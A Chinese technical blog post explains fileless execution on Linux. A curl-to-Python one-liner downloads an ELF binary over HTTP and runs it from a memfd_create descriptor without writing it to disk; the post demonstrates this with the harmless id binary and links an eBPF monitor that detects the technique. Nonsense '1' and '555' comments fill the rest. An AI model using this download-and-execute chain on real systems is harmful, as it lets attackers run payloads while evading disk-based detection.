从内存中直接加载执行ELF - scz

admin 2022-10-19 PM 5165℃ 71条

参看

Using eBPF to uncover in-memory loading - Pat H [2021-02-15]
https://blog.tofile.dev/2021/02/15/ebpf-01.html

作者给了一个完整示例,从内存中直接加载执行ELF。bluerust推荐过memfd_create,但我现在很少用C编程,未实践过。Pat H给了Python版示例,演示效果极佳。

假设WEB服务在此

cp /usr/bin/id .
python3 -m http.server -b 192.168.65.25 8080

在客户端验证WEB服务正常

curl -s http://192.168.65.25:8080/id | xxd -s 0 -l 32 -g 1

在客户端确认memfd_create系统调用号是319

$ grep "__NR_memfd_create" /usr/include/asm/unistd_64.h
#define __NR_memfd_create 319

在客户端用curl远程拉id回来,不写硬盘,直接执行

curl -s http://192.168.65.25:8080/id | python3 -c '
import sys, os, ctypes
libc            = ctypes.CDLL( "libc.so.6" )
memfd_create    = 319
fd              = libc.syscall( memfd_create, "", 0 )
data            = sys.stdin.buffer.read()
os.write( fd, data )
path            = f"/proc/self/fd/{fd}"
os.execv( path, [path,] )
'

参看

BPF-PipeSnoop
https://github.com/pathtofile/bpf-pipesnoop

Pat H用eBPF实现对shell管道操作的监控,这是个C项目,应该可以改写成BCC项目。

标签: scz

非特殊说明,本博所有文章均为博主原创。

评论啦~



已有 71 条评论


  1. 1
    1

    1

    回复 2023-05-19 19:30
    1. 1
      1

      1

      回复 2023-05-19 21:00
      1. 1
        1

        1

        回复 2023-05-19 21:21
        1. 1
          1

          1

          回复 2023-05-22 13:31
        2. 1
          1

          1

          回复 2023-05-22 13:31
        3. 1
          1

          1

          回复 2023-05-22 13:31
        4. 1
          1

          1

          回复 2023-05-22 13:31
        5. 1
          1

          1

          回复 2023-05-22 13:31
        6. 1
          1

          1

          回复 2023-05-22 13:32
        7. 1
          1

          1

          回复 2023-05-22 13:32
        8. 1
          1

          1

          回复 2023-05-22 13:32
        9. 1
          1

          1

          回复 2023-05-22 13:33
        10. 1
          1

          1

          回复 2023-05-22 13:33
        11. 1
          1

          1

          回复 2023-05-22 13:33
        12. 1
          1

          1

          回复 2023-05-22 13:33
      2. 1
        1

        1

        回复 2023-05-19 21:22
      3. 1
        1

        1

        回复 2023-05-19 21:22
      4. 1
        1

        1

        回复 2023-05-19 21:22
      5. 1
        1

        1

        回复 2023-05-19 21:22
      6. 1
        1

        555

        回复 2023-05-22 10:21
      7. 1
        1

        1

        回复 2023-05-22 13:29
      8. 1
        1

        1

        回复 2023-05-22 13:30
      9. 1
        1

        1

        回复 2023-05-22 13:30
      10. 1
        1

        1

        回复 2023-05-22 13:30
      11. 1
        1

        1

        回复 2023-05-22 13:31
      12. 1
        1

        1

        回复 2023-05-22 13:31
      13. 1
        1

        1

        回复 2023-05-22 13:31
      14. 1
        1

        1

        回复 2023-05-22 13:31
    2. 1
      1

      1

      回复 2023-05-19 21:02
    3. 1
      1

      1

      回复 2023-05-19 21:03
    4. 1
      1

      1

      回复 2023-05-19 21:03
    5. 1
      1

      1

      回复 2023-05-19 21:03
    6. 1
      1

      1

      回复 2023-05-19 21:03
    7. 1
      1

      555

      回复 2023-05-19 21:49
    8. 1
      1

      1

      回复 2023-05-22 09:52
    9. 1
      1

      1

      回复 2023-05-22 13:27
  2. 1
    1

    1

    回复 2023-05-19 20:19
    1. 1
      1

      555

      回复 2023-05-19 20:59
  3. 1
    1

    1

    回复 2023-05-19 20:19
  4. 1
    1

    1

    回复 2023-05-19 20:42
  5. 1
    1

    555

    回复 2023-05-19 21:32
    1. 1
      1

      1

      回复 2023-05-20 00:23
    2. 1
      1

      1

      回复 2023-05-20 00:23
    3. 1
      1

      1

      回复 2023-05-20 00:23
    4. 1
      1

      1

      回复 2023-05-20 00:24
    5. 1
      1

      1

      回复 2023-05-20 00:24
    6. 1
      1

      1

      回复 2023-05-20 00:24
    7. 1
      1

      1

      回复 2023-05-20 00:24
    8. 1
      1

      1

      回复 2023-05-20 00:24
    9. 1
      1

      1

      回复 2023-05-20 00:25
    10. 1
      1

      1

      回复 2023-05-20 00:25
    11. 1
      1

      1

      回复 2023-05-20 00:25
    12. 1
      1

      1

      回复 2023-05-20 00:25
    13. 1
      1

      1

      回复 2023-05-20 00:25
    14. 1
      1

      555

      回复 2023-05-20 00:53
  6. 1
    1

    1

    回复 2023-05-22 09:40
  7. 1
    1

    555

    回复 2023-05-22 10:07
    1. 1
      1

      1

      回复 2023-05-22 12:09
    2. 1
      1

      1

      回复 2023-05-22 12:09
    3. 1
      1

      1

      回复 2023-05-22 12:09
    4. 1
      1

      555

      回复 2023-05-22 14:30
  8. 1
    1

    1

    回复 2023-05-22 12:07
  9. 1
    1

    1

    回复 2023-05-22 12:07
    1. 1
      1

      1

      回复 2023-05-22 12:12
    2. 1
      1

      1

      回复 2023-05-22 12:12
    3. 1
      1

      1

      回复 2023-05-22 12:12
  10. 1
    1

    1

    回复 2023-05-22 12:11
  11. 1
    1

    1

    回复 2023-05-22 12:11
  12. 1
    1

    555

    回复 2023-05-22 14:49
  13. 1
    1

    555

    回复 2023-05-22 14:54
  14. 1
    1

    555

    回复 2023-07-07 15:12